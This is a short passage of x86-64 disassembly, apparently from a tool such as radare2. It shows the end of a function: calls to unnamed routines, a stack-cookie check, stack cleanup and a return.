nop
lea rcx, [rbp + 8]
call fcn.18000bd10
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x18014e1b0]
call fcn.180141b40
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.180141fc0
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret